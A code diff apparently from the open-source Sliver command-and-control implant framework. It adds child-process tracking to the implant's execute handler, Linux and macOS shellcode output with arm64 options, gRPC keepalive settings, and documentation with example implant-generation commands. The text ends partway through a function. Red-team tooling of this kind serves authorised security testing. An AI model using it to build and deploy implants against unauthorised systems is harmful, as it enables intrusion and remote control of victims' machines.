if err != nil {
|
||||||
|
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
exec.PrintExecuteChildren(execChildren, con)
|
||||||
|
|
||||||
case sliverpb.MsgSideloadReq:
|
case sliverpb.MsgSideloadReq:
|
||||||
sideload := &sliverpb.Sideload{}
|
sideload := &sliverpb.Sideload{}
|
||||||
err := proto.Unmarshal(task.Response, sideload)
|
err := proto.Unmarshal(task.Response, sideload)
|
||||||
|
|||||||
@@ -208,8 +208,9 @@ const (
|
|||||||
GetGIDStr = "getgid"
|
GetGIDStr = "getgid"
|
||||||
WhoamiStr = "whoami"
|
WhoamiStr = "whoami"
|
||||||
|
|
||||||
ShellStr = "shell"
|
ShellStr = "shell"
|
||||||
ExecuteStr = "execute"
|
ExecuteStr = "execute"
|
||||||
|
ExecuteChildrenStr = "children"
|
||||||
|
|
||||||
LsStr = "ls"
|
LsStr = "ls"
|
||||||
MvStr = "mv"
|
MvStr = "mv"
|
||||||
|
|||||||
@@ -40,7 +40,8 @@ func ArmoryInstallForm(options []ArmoryInstallOption) (*ArmoryInstallFormResult,
|
|||||||
Title("Select packages or bundles to install").
|
Title("Select packages or bundles to install").
|
||||||
Description("Use space to select and enter to install.").
|
Description("Use space to select and enter to install.").
|
||||||
Options(selectOptions...).
|
Options(selectOptions...).
|
||||||
Height(listHeight(len(selectOptions))).
|
// huh.MultiSelect Height includes title/description, so add 2 lines for them.
|
||||||
|
Height(listHeight(len(selectOptions)) + 2).
|
||||||
Value(&result.SelectedNames)
|
Value(&result.SelectedNames)
|
||||||
|
|
||||||
form := huh.NewForm(huh.NewGroup(field))
|
form := huh.NewForm(huh.NewGroup(field))
|
||||||
|
|||||||
@@ -39,7 +39,8 @@ func ArmoryUpdateForm(options []ArmoryUpdateOption) (*ArmoryUpdateFormResult, er
|
|||||||
Title("Select updates to apply").
|
Title("Select updates to apply").
|
||||||
Description("Use space to select and enter to apply.").
|
Description("Use space to select and enter to apply.").
|
||||||
Options(selectOptions...).
|
Options(selectOptions...).
|
||||||
Height(listHeight(len(selectOptions))).
|
// huh.MultiSelect Height includes title/description, so add 2 lines for them.
|
||||||
|
Height(listHeight(len(selectOptions)) + 2).
|
||||||
Value(&result.SelectedIDs)
|
Value(&result.SelectedIDs)
|
||||||
|
|
||||||
form := huh.NewForm(huh.NewGroup(field))
|
form := huh.NewForm(huh.NewGroup(field))
|
||||||
|
|||||||
@@ -60,6 +60,7 @@ func GenerateProfilesNewForm() (*GenerateProfilesNewFormResult, error) {
|
|||||||
case "linux":
|
case "linux":
|
||||||
return []huh.Option[string]{
|
return []huh.Option[string]{
|
||||||
huh.NewOption("amd64", "amd64"),
|
huh.NewOption("amd64", "amd64"),
|
||||||
|
huh.NewOption("arm64", "arm64"),
|
||||||
huh.NewOption("386", "386"),
|
huh.NewOption("386", "386"),
|
||||||
}
|
}
|
||||||
default:
|
default:
|
||||||
@@ -83,6 +84,8 @@ func GenerateProfilesNewForm() (*GenerateProfilesNewFormResult, error) {
|
|||||||
huh.NewOption("Service", "service"),
|
huh.NewOption("Service", "service"),
|
||||||
huh.NewOption("Shellcode", "shellcode"),
|
huh.NewOption("Shellcode", "shellcode"),
|
||||||
)
|
)
|
||||||
|
} else if result.OS == "darwin" || result.OS == "linux" {
|
||||||
|
options = append(options, huh.NewOption("Shellcode", "shellcode"))
|
||||||
}
|
}
|
||||||
return options
|
return options
|
||||||
}, &result.OS).
|
}, &result.OS).
|
||||||
|
|||||||
@@ -65,6 +65,7 @@ func GenerateProfilesNewBeaconForm() (*GenerateProfilesNewBeaconFormResult, erro
|
|||||||
case "linux":
|
case "linux":
|
||||||
return []huh.Option[string]{
|
return []huh.Option[string]{
|
||||||
huh.NewOption("amd64", "amd64"),
|
huh.NewOption("amd64", "amd64"),
|
||||||
|
huh.NewOption("arm64", "arm64"),
|
||||||
huh.NewOption("386", "386"),
|
huh.NewOption("386", "386"),
|
||||||
}
|
}
|
||||||
default:
|
default:
|
||||||
@@ -88,6 +89,8 @@ func GenerateProfilesNewBeaconForm() (*GenerateProfilesNewBeaconFormResult, erro
|
|||||||
huh.NewOption("Service", "service"),
|
huh.NewOption("Service", "service"),
|
||||||
huh.NewOption("Shellcode", "shellcode"),
|
huh.NewOption("Shellcode", "shellcode"),
|
||||||
)
|
)
|
||||||
|
} else if result.OS == "darwin" || result.OS == "linux" {
|
||||||
|
options = append(options, huh.NewOption("Shellcode", "shellcode"))
|
||||||
}
|
}
|
||||||
return options
|
return options
|
||||||
}, &result.OS).
|
}, &result.OS).
|
||||||
|
|||||||
@@ -44,6 +44,7 @@ func commonArchOptions(goos string) []huh.Option[string] {
|
|||||||
case "linux":
|
case "linux":
|
||||||
return []huh.Option[string]{
|
return []huh.Option[string]{
|
||||||
huh.NewOption("amd64", "amd64"),
|
huh.NewOption("amd64", "amd64"),
|
||||||
|
huh.NewOption("arm64", "arm64"),
|
||||||
huh.NewOption("386", "386"),
|
huh.NewOption("386", "386"),
|
||||||
}
|
}
|
||||||
default:
|
default:
|
||||||
@@ -66,6 +67,8 @@ func commonFormatOptions(goos string) []huh.Option[string] {
|
|||||||
)
|
)
|
||||||
} else if goos == "darwin" {
|
} else if goos == "darwin" {
|
||||||
options = append(options, huh.NewOption("Shellcode", "shellcode"))
|
options = append(options, huh.NewOption("Shellcode", "shellcode"))
|
||||||
|
} else if goos == "linux" {
|
||||||
|
options = append(options, huh.NewOption("Shellcode", "shellcode"))
|
||||||
}
|
}
|
||||||
return options
|
return options
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,13 +2,14 @@ package forms
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"errors"
|
"errors"
|
||||||
|
"slices"
|
||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
"github.com/charmbracelet/huh"
|
"github.com/charmbracelet/huh"
|
||||||
"golang.org/x/term"
|
"golang.org/x/term"
|
||||||
)
|
)
|
||||||
|
|
||||||
const defaultSelectHeight = 10
|
const defaultSelectHeight = 5
|
||||||
|
|
||||||
func getTerminalWidth() int {
|
func getTerminalWidth() int {
|
||||||
// Try to get actual terminal width
|
// Try to get actual terminal width
|
||||||
@@ -93,7 +94,8 @@ func MultiSelect(title string, options []string, value *[]string) error {
|
|||||||
field := huh.NewMultiSelect[string]().
|
field := huh.NewMultiSelect[string]().
|
||||||
Title(title).
|
Title(title).
|
||||||
Options(makeStringOptions(options)...).
|
Options(makeStringOptions(options)...).
|
||||||
Height(listHeight(len(options))).
|
// huh.Select/MultiSelect Height includes title/description, so add 1 for the title line.
|
||||||
|
Height(listHeight(len(options)) + 1).
|
||||||
Value(value)
|
Value(value)
|
||||||
|
|
||||||
form := huh.NewForm(huh.NewGroup(field)).WithWidth(getTerminalWidth())
|
form := huh.NewForm(huh.NewGroup(field)).WithWidth(getTerminalWidth())
|
||||||
@@ -115,7 +117,8 @@ func selectPrompt(title string, options []string, value *string, required bool)
|
|||||||
field := huh.NewSelect[string]().
|
field := huh.NewSelect[string]().
|
||||||
Title(title).
|
Title(title).
|
||||||
Options(makeStringOptions(options)...).
|
Options(makeStringOptions(options)...).
|
||||||
Height(listHeight(len(options))).
|
// huh.Select Height includes title/description, so add 1 for the title line.
|
||||||
|
Height(listHeight(len(options)) + 1).
|
||||||
Value(value)
|
Value(value)
|
||||||
|
|
||||||
if required {
|
if required {
|
||||||
@@ -147,10 +150,8 @@ func ensureSelectedValue(options []string, value *string) {
|
|||||||
*value = options[0]
|
*value = options[0]
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
for _, option := range options {
|
if slices.Contains(options, *value) {
|
||||||
if option == *value {
|
return
|
||||||
return
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
*value = options[0]
|
*value = options[0]
|
||||||
}
|
}
|
||||||
|
|||||||
+18
-17
@@ -1,5 +1,23 @@
|
|||||||
package packages
|
package packages
|
||||||
|
|
||||||
|
/*
|
||||||
|
Sliver Implant Framework
|
||||||
|
Copyright (C) 2024 Bishop Fox
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
@@ -10,23 +28,6 @@ import (
|
|||||||
"github.com/jedib0t/go-pretty/v6/table"
|
"github.com/jedib0t/go-pretty/v6/table"
|
||||||
)
|
)
|
||||||
|
|
||||||
/*
|
|
||||||
Sliver Implant Framework
|
|
||||||
Copyright (C) 2024 Bishop Fox
|
|
||||||
|
|
||||||
This program is free software: you can redistribute it and/or modify
|
|
||||||
it under the terms of the GNU General Public License as published by
|
|
||||||
the Free Software Foundation, either version 3 of the License, or
|
|
||||||
(at your option) any later version.
|
|
||||||
|
|
||||||
This program is distributed in the hope that it will be useful,
|
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
||||||
GNU General Public License for more details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU General Public License
|
|
||||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
|
||||||
*/
|
|
||||||
const (
|
const (
|
||||||
KeyValueSchemaName = "key-value"
|
KeyValueSchemaName = "key-value"
|
||||||
GroupedKeyValueSchemaName = "grouped-key-value"
|
GroupedKeyValueSchemaName = "grouped-key-value"
|
||||||
|
|||||||
@@ -0,0 +1,30 @@
|
|||||||
|
package transport
|
||||||
|
|
||||||
|
import (
|
||||||
|
"sync"
|
||||||
|
|
||||||
|
"google.golang.org/grpc/keepalive"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
kaMu sync.RWMutex
|
||||||
|
kaParams *keepalive.ClientParameters
|
||||||
|
)
|
||||||
|
|
||||||
|
// SetKeepaliveParams configures gRPC keepalive pings for future MTLSConnect dials.
|
||||||
|
// Behavior is unchanged unless this is called.
|
||||||
|
func SetKeepaliveParams(p keepalive.ClientParameters) {
|
||||||
|
kaMu.Lock()
|
||||||
|
kaParams = &p
|
||||||
|
kaMu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func getKeepaliveParams() (keepalive.ClientParameters, bool) {
|
||||||
|
kaMu.RLock()
|
||||||
|
p := kaParams
|
||||||
|
kaMu.RUnlock()
|
||||||
|
if p == nil {
|
||||||
|
return keepalive.ClientParameters{}, false
|
||||||
|
}
|
||||||
|
return *p, true
|
||||||
|
}
|
||||||
@@ -28,6 +28,7 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
|
|
||||||
"google.golang.org/grpc"
|
"google.golang.org/grpc"
|
||||||
|
"google.golang.org/grpc/connectivity"
|
||||||
"google.golang.org/grpc/credentials"
|
"google.golang.org/grpc/credentials"
|
||||||
|
|
||||||
"github.com/bishopfox/sliver/client/assets"
|
"github.com/bishopfox/sliver/client/assets"
|
||||||
@@ -71,15 +72,36 @@ func MTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grpc.Clie
|
|||||||
options := []grpc.DialOption{
|
options := []grpc.DialOption{
|
||||||
grpc.WithTransportCredentials(transportCreds),
|
grpc.WithTransportCredentials(transportCreds),
|
||||||
grpc.WithPerRPCCredentials(callCreds),
|
grpc.WithPerRPCCredentials(callCreds),
|
||||||
grpc.WithBlock(),
|
|
||||||
grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(ClientMaxReceiveMessageSize)),
|
grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(ClientMaxReceiveMessageSize)),
|
||||||
}
|
}
|
||||||
ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
|
|
||||||
defer cancel()
|
if kp, ok := getKeepaliveParams(); ok {
|
||||||
connection, err := grpc.DialContext(ctx, fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
|
options = append(options, grpc.WithKeepaliveParams(kp))
|
||||||
|
}
|
||||||
|
|
||||||
|
connection, err := grpc.NewClient(fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, nil, err
|
return nil, nil, err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Preserve the legacy grpc.DialContext + grpc.WithBlock behavior: block
|
||||||
|
// until the channel becomes READY or the timeout expires.
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
|
||||||
|
defer cancel()
|
||||||
|
for {
|
||||||
|
state := connection.GetState()
|
||||||
|
if state == connectivity.Idle {
|
||||||
|
connection.Connect()
|
||||||
|
}
|
||||||
|
if state == connectivity.Ready {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if !connection.WaitForStateChange(ctx, state) {
|
||||||
|
_ = connection.Close()
|
||||||
|
return nil, nil, ctx.Err()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
return rpcpb.NewSliverRPCClient(connection), connection, nil
|
return rpcpb.NewSliverRPCClient(connection), connection, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -120,7 +142,7 @@ func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
|
|||||||
|
|
||||||
cert, err := x509.ParseCertificate(rawCerts[0]) // We should only get one cert
|
cert, err := x509.ParseCertificate(rawCerts[0]) // We should only get one cert
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Printf("Failed to parse certificate: " + err.Error())
|
log.Printf("Failed to parse certificate: %v", err)
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -134,7 +156,7 @@ func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
|
|||||||
panic("no root certificate")
|
panic("no root certificate")
|
||||||
}
|
}
|
||||||
if _, err := cert.Verify(options); err != nil {
|
if _, err := cert.Verify(options); err != nil {
|
||||||
log.Printf("Failed to verify certificate: " + err.Error())
|
log.Printf("Failed to verify certificate: %v", err)
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -15,6 +15,12 @@ The Sliver server has a configuration file located in the `configs` sub-director
|
|||||||
"level": 4,
|
"level": 4,
|
||||||
"grpc_unary_payloads": false,
|
"grpc_unary_payloads": false,
|
||||||
"grpc_stream_payloads": false
|
"grpc_stream_payloads": false
|
||||||
|
},
|
||||||
|
"grpc": {
|
||||||
|
"keepalive": {
|
||||||
|
"min_time_seconds": 30,
|
||||||
|
"permit_without_stream": true
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
@@ -29,6 +35,10 @@ The Sliver server has a configuration file located in the `configs` sub-director
|
|||||||
- `level` - The `logrus` logging level (1 - 5), by default this is set to `4`, which is the `INFO` level; increasing this value increases the verbosity of the logs e.g. `DEBUG` is `5` and `SILENT` is `1`
|
- `level` - The `logrus` logging level (1 - 5), by default this is set to `4`, which is the `INFO` level; increasing this value increases the verbosity of the logs e.g. `DEBUG` is `5` and `SILENT` is `1`
|
||||||
- `grpc_unary_payloads` - Log gRPC unary payloads
|
- `grpc_unary_payloads` - Log gRPC unary payloads
|
||||||
- `grpc_stream_payloads` - Log gRPC streaming payloads
|
- `grpc_stream_payloads` - Log gRPC streaming payloads
|
||||||
|
- `grpc` - An object containing options for the server gRPC stack
|
||||||
|
- `keepalive` - gRPC keepalive enforcement configuration
|
||||||
|
- `min_time_seconds` - Minimum amount of time (in seconds) between client pings before the server sends a GOAWAY with `too_many_pings`
|
||||||
|
- `permit_without_stream` - Allow client pings when there are no active streams
|
||||||
|
|
||||||
## Database Configuration
|
## Database Configuration
|
||||||
|
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
**NOTE:** Any platform can cross-compile a standalone executable to any other platform out of the box; you only need cross-compilers when using `--format shared`.
|
**NOTE:** Any platform can cross-compile a standalone executable to any other platform out of the box; you primarily need cross-compilers when using CGO-based formats like `--format shared`, and for `--format shellcode` on macOS/Linux.
|
||||||
|
|
||||||
Sliver can tell you which platforms it can likely target based on the server's platform and available cross-compilers by running the `generate info` command in the console.
|
Sliver can tell you which platforms it can likely target based on the server's platform and available cross-compilers by running the `generate info` command in the console.
|
||||||
|
|
||||||
@@ -37,7 +37,7 @@ Sliver automatically looks in the default paths for these cross-compilers; once
|
|||||||
|
|
||||||
## From MacOS to Linux/Windows
|
## From MacOS to Linux/Windows
|
||||||
|
|
||||||
Sliver embeds a Zig cross-compiler out of the box, so Windows DLLs and Linux shared objects do not require mingw-w64 or musl-cross.
|
Sliver embeds a Zig cross-compiler out of the box, so Windows DLLs and Linux shared objects/shellcode do not require mingw-w64 or musl-cross.
|
||||||
|
|
||||||
However, we're not aware of any good options to target 32-bit Linux from MacOS. Sliver automatically looks in the default paths for these cross-compilers; once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross-compiler location via the appropriate [environment variables](/docs?name=Environment+Variables).
|
However, we're not aware of any good options to target 32-bit Linux from MacOS. Sliver automatically looks in the default paths for these cross-compilers; once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross-compiler location via the appropriate [environment variables](/docs?name=Environment+Variables).
|
||||||
|
|
||||||
|
|||||||
@@ -19,6 +19,12 @@ $ cat ~/.sliver/configs/server.json
|
|||||||
"level": 5,
|
"level": 5,
|
||||||
"grpc_unary_payloads": false,
|
"grpc_unary_payloads": false,
|
||||||
"grpc_stream_payloads": false
|
"grpc_stream_payloads": false
|
||||||
|
},
|
||||||
|
"grpc": {
|
||||||
|
"keepalive": {
|
||||||
|
"min_time_seconds": 30,
|
||||||
|
"permit_without_stream": true
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|||||||
@@ -47,6 +47,7 @@ sliver > builders
|
|||||||
=============================== ========== =========== ============== ==========================
|
=============================== ========== =========== ============== ==========================
|
||||||
molochs-MacBook-Pro-111.local moloch sliver darwin/arm64 EXECUTABLE:linux/386
|
molochs-MacBook-Pro-111.local moloch sliver darwin/arm64 EXECUTABLE:linux/386
|
||||||
EXECUTABLE:linux/amd64
|
EXECUTABLE:linux/amd64
|
||||||
|
EXECUTABLE:linux/arm64
|
||||||
EXECUTABLE:windows/386
|
EXECUTABLE:windows/386
|
||||||
EXECUTABLE:windows/amd64
|
EXECUTABLE:windows/amd64
|
||||||
EXECUTABLE:darwin/amd64
|
EXECUTABLE:darwin/amd64
|
||||||
@@ -56,10 +57,14 @@ sliver > builders
|
|||||||
SHARED_LIB:darwin/amd64
|
SHARED_LIB:darwin/amd64
|
||||||
SHARED_LIB:darwin/arm64
|
SHARED_LIB:darwin/arm64
|
||||||
SHARED_LIB:linux/amd64
|
SHARED_LIB:linux/amd64
|
||||||
|
SHARED_LIB:linux/arm64
|
||||||
SERVICE:windows/386
|
SERVICE:windows/386
|
||||||
SERVICE:windows/amd64
|
SERVICE:windows/amd64
|
||||||
SHELLCODE:windows/386
|
SHELLCODE:windows/386
|
||||||
SHELLCODE:windows/amd64
|
SHELLCODE:windows/amd64
|
||||||
|
SHELLCODE:darwin/arm64
|
||||||
|
SHELLCODE:linux/amd64
|
||||||
|
SHELLCODE:linux/arm64
|
||||||
```
|
```
|
||||||
|
|
||||||
Use the `--external-builder` flag to offload a `generate` or `generate beacon` command onto an external builder:
|
Use the `--external-builder` flag to offload a `generate` or `generate beacon` command onto an external builder:
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
**⚠️ Important:** You must have MinGW installed on your Sliver server to get some staged (e.g., Windows DLLs) payloads to work.
|
**⚠️ Important:** Some staged payloads require a working cross-compiler toolchain on the Sliver server (especially shared libraries and non-native targets). Sliver bundles a Zig toolchain for many Windows/Linux targets, but macOS shared library/shellcode builds require osxcross.
|
||||||
|
|
||||||
## Overview
|
## Overview
|
||||||
|
|
||||||
@@ -33,16 +33,22 @@ Name Platform Command & Control Debug Format
|
|||||||
win-shellcode windows/amd64 [1] mtls://192.168.122.1:8888 false SHELLCODE enabled
|
win-shellcode windows/amd64 [1] mtls://192.168.122.1:8888 false SHELLCODE enabled
|
||||||
```
|
```
|
||||||
|
|
||||||
You can tune shellcode options for shellcode profiles (Windows: Donut):
|
Shellcode generation varies by platform:
|
||||||
|
|
||||||
- `--shellcode-entropy`: 1=none, 2=random names, 3=random+encrypt
|
- Windows shellcode uses Donut and supports all shellcode tuning flags below.
|
||||||
- `--shellcode-compress`: enable/disable aPLib compression (boolean)
|
- macOS (darwin/arm64) and Linux (amd64/arm64) shellcode currently only support `--shellcode-compress`; other `--shellcode-*` options are Windows-only.
|
||||||
- `--shellcode-exitopt`: 1=exit thread, 2=exit process, 3=block
|
|
||||||
- `--shellcode-bypass`: 1=none, 2=abort on failure, 3=continue
|
Shellcode options:
|
||||||
- `--shellcode-headers`: 1=overwrite, 2=keep
|
|
||||||
- `--shellcode-thread`: run unmanaged EXE entrypoint as a new thread (boolean)
|
- `--shellcode-encoder`: apply an optional shellcode encoder (see: `shellcode-encoders`)
|
||||||
- `--shellcode-unicode`: pass Unicode command line to unmanaged DLL entrypoints (boolean)
|
- `--shellcode-compress`: enable/disable aPLib compression (boolean) (Windows, macOS, Linux)
|
||||||
- `--shellcode-oep`: override original entry point (uint32, 0=default)
|
- `--shellcode-entropy`: 1=none, 2=random names, 3=random+encrypt (Windows only)
|
||||||
|
- `--shellcode-exitopt`: 1=exit thread, 2=exit process, 3=block (Windows only)
|
||||||
|
- `--shellcode-bypass`: 1=none, 2=abort on failure, 3=continue (Windows only)
|
||||||
|
- `--shellcode-headers`: 1=overwrite, 2=keep (Windows only)
|
||||||
|
- `--shellcode-thread`: run unmanaged EXE entrypoint as a new thread (boolean) (Windows only)
|
||||||
|
- `--shellcode-unicode`: pass Unicode command line to unmanaged DLL entrypoints (boolean) (Windows only)
|
||||||
|
- `--shellcode-oep`: override original entry point (uint32, 0=default) (Windows only)
|
||||||
|
|
||||||
Example:
|
Example:
|
||||||
|
|
||||||
@@ -50,6 +56,12 @@ Example:
|
|||||||
sliver > profiles new --mtls 192.168.122.1 --format shellcode --shellcode-entropy 2 --shellcode-compress --shellcode-exitopt 3 win-shellcode
|
sliver > profiles new --mtls 192.168.122.1 --format shellcode --shellcode-entropy 2 --shellcode-compress --shellcode-exitopt 3 win-shellcode
|
||||||
```
|
```
|
||||||
|
|
||||||
|
Linux example (compression only):
|
||||||
|
|
||||||
|
```
|
||||||
|
sliver > profiles new --os linux --arch amd64 --mtls 192.168.122.1 --format shellcode --shellcode-compress linux-shellcode
|
||||||
|
```
|
||||||
|
|
||||||
We can now create a staging listener and link it to the profile:
|
We can now create a staging listener and link it to the profile:
|
||||||
|
|
||||||
```
|
```
|
||||||
|
|||||||
@@ -202,6 +202,15 @@ else
|
|||||||
rm -rf "$SLIVER_ROOT_DIR_E2E"
|
rm -rf "$SLIVER_ROOT_DIR_E2E"
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
# server / c2 / e2e (dns)
|
||||||
|
if SLIVER_ROOT_DIR="$SLIVER_ROOT_DIR_E2E" go test -tags=server,$TAGS,sliver_e2e ./server/c2 -run 'TestDNS_' -count=1 ; then
|
||||||
|
:
|
||||||
|
else
|
||||||
|
cat "$SLIVER_ROOT_DIR_E2E/logs/sliver.log" 2>/dev/null || true
|
||||||
|
rm -rf "$SLIVER_ROOT_DIR_E2E"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
rm -rf "$SLIVER_ROOT_DIR_E2E"
|
rm -rf "$SLIVER_ROOT_DIR_E2E"
|
||||||
|
|
||||||
# server / configs
|
# server / configs
|
||||||
|
|||||||
@@ -48,6 +48,7 @@ require (
|
|||||||
github.com/rsteube/carapace v0.50.2
|
github.com/rsteube/carapace v0.50.2
|
||||||
github.com/sirupsen/logrus v1.9.3
|
github.com/sirupsen/logrus v1.9.3
|
||||||
github.com/sliverarmory/beignet v0.0.2
|
github.com/sliverarmory/beignet v0.0.2
|
||||||
|
github.com/sliverarmory/malasada v0.0.2
|
||||||
github.com/sliverarmory/wasm-donut v0.0.3
|
github.com/sliverarmory/wasm-donut v0.0.3
|
||||||
github.com/spf13/cobra v1.10.2
|
github.com/spf13/cobra v1.10.2
|
||||||
github.com/spf13/pflag v1.0.10
|
github.com/spf13/pflag v1.0.10
|
||||||
|
|||||||
@@ -665,6 +665,8 @@ github.com/slack-go/slack v0.17.3 h1:zV5qO3Q+WJAQ/XwbGfNFrRMaJ5T/naqaonyPV/1TP4g
|
|||||||
github.com/slack-go/slack v0.17.3/go.mod h1:X+UqOufi3LYQHDnMG1vxf0J8asC6+WllXrVrhl8/Prk=
|
github.com/slack-go/slack v0.17.3/go.mod h1:X+UqOufi3LYQHDnMG1vxf0J8asC6+WllXrVrhl8/Prk=
|
||||||
github.com/sliverarmory/beignet v0.0.2 h1:kUpztl/yEKp/U3FFulguC7r+qKjmBIg0AwLKJnZpDVA=
|
github.com/sliverarmory/beignet v0.0.2 h1:kUpztl/yEKp/U3FFulguC7r+qKjmBIg0AwLKJnZpDVA=
|
||||||
github.com/sliverarmory/beignet v0.0.2/go.mod h1:xXfTKBJqFBY/pakRFwJ+5+oGiSlg2CiCVUg/76kW1H4=
|
github.com/sliverarmory/beignet v0.0.2/go.mod h1:xXfTKBJqFBY/pakRFwJ+5+oGiSlg2CiCVUg/76kW1H4=
|
||||||
|
github.com/sliverarmory/malasada v0.0.2 h1:X2+7dNGPWfm4ijsr/rMvZlIMalskdCVpBZUYs50RHIA=
|
||||||
|
github.com/sliverarmory/malasada v0.0.2/go.mod h1:F96IgTOoX72FU995F+Jip0ni8Z5sXiYOwfmlRGobJkQ=
|
||||||
github.com/sliverarmory/wasm-donut v0.0.3 h1:sldbfAsz1YziULlhDKpU3DY/+/dAfv5gl26qSqHIpzE=
|
github.com/sliverarmory/wasm-donut v0.0.3 h1:sldbfAsz1YziULlhDKpU3DY/+/dAfv5gl26qSqHIpzE=
|
||||||
github.com/sliverarmory/wasm-donut v0.0.3/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
|
github.com/sliverarmory/wasm-donut v0.0.3/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
|
||||||
github.com/sony/sonyflake v1.0.0 h1:MpU6Ro7tfXwgn2l5eluf9xQvQJDROTBImNCfRXn/YeM=
|
github.com/sony/sonyflake v1.0.0 h1:MpU6Ro7tfXwgn2l5eluf9xQvQJDROTBImNCfRXn/YeM=
|
||||||
|
|||||||
@@ -0,0 +1,204 @@
|
|||||||
|
package handlers
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"sort"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
// {{if .Config.Debug}}
|
||||||
|
"log"
|
||||||
|
// {{end}}
|
||||||
|
|
||||||
|
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||||
|
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||||
|
"google.golang.org/protobuf/proto"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
maxTrackedExecuteChildren = 256
|
||||||
|
)
|
||||||
|
|
||||||
|
type executeChildEntry struct {
|
||||||
|
PID int32
|
||||||
|
Path string
|
||||||
|
Args []string
|
||||||
|
Stdout string
|
||||||
|
Stderr string
|
||||||
|
StartTime int64
|
||||||
|
|
||||||
|
Exited bool
|
||||||
|
ExitCode int32
|
||||||
|
ExitTime int64
|
||||||
|
Error string
|
||||||
|
|
||||||
|
cmd *exec.Cmd
|
||||||
|
}
|
||||||
|
|
||||||
|
var (
|
||||||
|
executeChildrenMu sync.RWMutex
|
||||||
|
trackedExecuteChildren = map[int32]*executeChildEntry{}
|
||||||
|
)
|
||||||
|
|
||||||
|
func trimTrackedExecuteChildrenLocked() {
|
||||||
|
if len(trackedExecuteChildren) <= maxTrackedExecuteChildren {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Prefer trimming completed entries first, oldest exit time first.
|
||||||
|
exited := make([]*executeChildEntry, 0, len(trackedExecuteChildren))
|
||||||
|
for _, entry := range trackedExecuteChildren {
|
||||||
|
if entry.Exited {
|
||||||
|
exited = append(exited, entry)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
sort.Slice(exited, func(i, j int) bool {
|
||||||
|
return exited[i].ExitTime < exited[j].ExitTime
|
||||||
|
})
|
||||||
|
|
||||||
|
for len(trackedExecuteChildren) > maxTrackedExecuteChildren && 0 < len(exited) {
|
||||||
|
delete(trackedExecuteChildren, exited[0].PID)
|
||||||
|
exited = exited[1:]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func startExecuteChild(cmd *exec.Cmd, track bool, path string, args []string, stdoutPath string, stderrPath string) (int32, error) {
|
||||||
|
var (
|
||||||
|
stdoutFile *os.File
|
||||||
|
stderrFile *os.File
|
||||||
|
err error
|
||||||
|
)
|
||||||
|
|
||||||
|
startTime := time.Now().Unix()
|
||||||
|
|
||||||
|
if stdoutPath != "" {
|
